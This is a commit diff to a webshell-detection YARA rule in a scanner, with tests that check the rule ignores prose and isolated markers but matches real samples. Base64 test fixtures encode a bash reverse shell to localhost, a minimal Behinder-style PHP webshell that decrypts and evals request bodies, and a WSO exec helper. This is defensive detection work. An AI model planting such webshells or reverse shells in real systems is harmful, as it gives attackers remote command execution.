fix(yara): require corroborating webshell markers

src/skillspector/yara_rules/webshells.yar

@@ -56,17 +56,26 @@ rule php_webshell_known
         $c99v2    = "c99_sess_put" nocase
         $r57      = "r57shell" nocase
         $wso      = "Web Shell by oRb" nocase
-        $wso2     = "WSO " nocase
+        $wso_ex   = "wsoEx(" nocase ascii
+        $wso_ver  = "WSO_VERSION" nocase ascii
+        $wso_sec  = "wsoSecParam" nocase ascii
         $b374k    = "b374k" nocase
         $alfa     = "STARTER ALFA" nocase
         $weevely  = "weevely" nocase
         $p0wny    = "p0wny" nocase
         $antsword = "antSword" nocase
-        $behinder = "behinder" nocase
+        $behinder_key = { 65 34 35 65 33 32 39 66 65 62 35 64 39 32 35 62 } // AES key, md5("rebeyond")[:16]
+        $behinder_php_tag = /<\?(php|=|[ \t\r\n])/ nocase ascii
+        $behinder_server_tag = /<%(@|[ \t\r\n])/ ascii
         $godzilla = "GodzillaShell" nocase
         $china_chopper = "China Chopper" nocase
     condition:
-        any of them
+        any of (
+            $c99, $c99v2, $r57, $wso, $b374k, $alfa, $weevely,
+            $p0wny, $antsword, $godzilla, $china_chopper
+        )
+        or 2 of ($wso_ex, $wso_ver, $wso_sec)
+        or ($behinder_key and any of ($behinder_php_tag, $behinder_server_tag))
 }
 
 rule python_webshell

tests/nodes/analyzers/test_static_yara.py

@@ -87,6 +87,18 @@ def _reverse_shell_fixture() -> str:
     return base64.b64decode("YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx").decode()
 
 
+_WEBSHELL_FIXTURES = {
+    "behinder_php": "PD9waHAgQGVycm9yX3JlcG9ydGluZygwKTsgc2Vzc2lvbl9zdGFydCgpOyAka2V5PSJlNDVlMzI5ZmViNWQ5MjViIjsKJF9TRVNTSU9OWydrJ109JGtleTsgJHBvc3Q9ZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7CiRwb3N0PW9wZW5zc2xfZGVjcnlwdCgkcG9zdCwgIkFFUzEyOCIsICRrZXkpOyBldmFsKCRwb3N0KTsgPz4K",
+    "behinder_jsp": "PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmF4LmNyeXB0by4qIiU+CjwlIFN0cmluZyBrPSJlNDVlMzI5ZmViNWQ5MjViIjsgc2Vzc2lvbi5wdXRWYWx1ZSgidSIsayk7CkNpcGhlciBjPUNpcGhlci5nZXRJbnN0YW5jZSgiQUVTIik7ICU+Cg==",
+    "wso_php": "PD9waHAgZGVmaW5lKCdXU09fVkVSU0lPTicsICcyLjUnKTsKZnVuY3Rpb24gd3NvRXgoJGluKSB7ICRvdXQ9Jyc7IGlmKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKSB7IEBleGVjKCRpbiwkb3V0KTsgfQpyZXR1cm4gJG91dDsgfQo=",
+    "wso_mixed_case": "PD9waHAgZGVmaW5lKCJ3c29fdmVyc2lvbiIsICIyLjciKTsKZnVuY3Rpb24gV1NPRVgoJGluKSB7IHJldHVybiAkaW47IH0K",
+}
+
+
+def _webshell_fixture(name: str) -> str:
+    return base64.b64decode(_WEBSHELL_FIXTURES[name]).decode()
+
+
 def _has_rule(findings: list, rule_name: str) -> bool:
     """Return True when a finding message references a specific YARA rule."""
     return any(rule_name in f.message for f in findings)
@@ -553,6 +565,47 @@ def test_credential_webhook_requires_collection_and_transmission(self):
         findings = _run_builtin(content, "README.md")
         assert not _has_rule(findings, "agent_skill_credential_exfiltration_webhook")
 
+    @pytest.mark.parametrize(
+        "content",
+        [
+            "Zu kleine Schrift behindert das Lesen. Menschen mit Behinderung\n"
+            "brauchen ausreichende Kontraste.\n",
+            "We deploy the API on WSO 2 Micro Integrator.\n",
+            "This skill detects Behinder and WSO webshells in uploaded files.\n",
+        ],
+        ids=["german_prose", "wso2_product_name", "family_names_in_docs"],
+    )
+    def test_known_webshell_rule_ignores_prose(self, content):
+        findings = _run_builtin(content, "SKILL.md")
+        assert not _has_rule(findings, "php_webshell_known")
+
+    @pytest.mark.parametrize(
+        "content",
+        [
+            "<?php define('WSO_VERSION', '0.5.2'); ?>\n",
+            "function wsoEx($input) { return $input; }\n",
+            "function wsoSecParam($name, $value) { return $value; }\n",
+            "Known indicator: e45e329feb5d925b\n",
+        ],
+        ids=["version_constant", "execution_helper", "security_helper", "key_in_docs"],
+    )
+    def test_known_webshell_rule_ignores_isolated_family_markers(self, content):
+        findings = _run_builtin(content, "reference.php")
+        assert not _has_rule(findings, "php_webshell_known")
+
+    @pytest.mark.parametrize(
+        ("fixture", "filename"),
+        [
+            ("behinder_php", "shell.php"),
+            ("behinder_jsp", "shell.jsp"),
+            ("wso_php", "shell.php"),
+            ("wso_mixed_case", "shell.php"),
+        ],
+    )
+    def test_known_webshell_rule_matches_family_markers(self, fixture, filename):
+        findings = _run_builtin(_webshell_fixture(fixture), filename)
+        assert _has_rule(findings, "php_webshell_known")
+
 
 # ── Rule caching ──────────────────────────────────────────────────────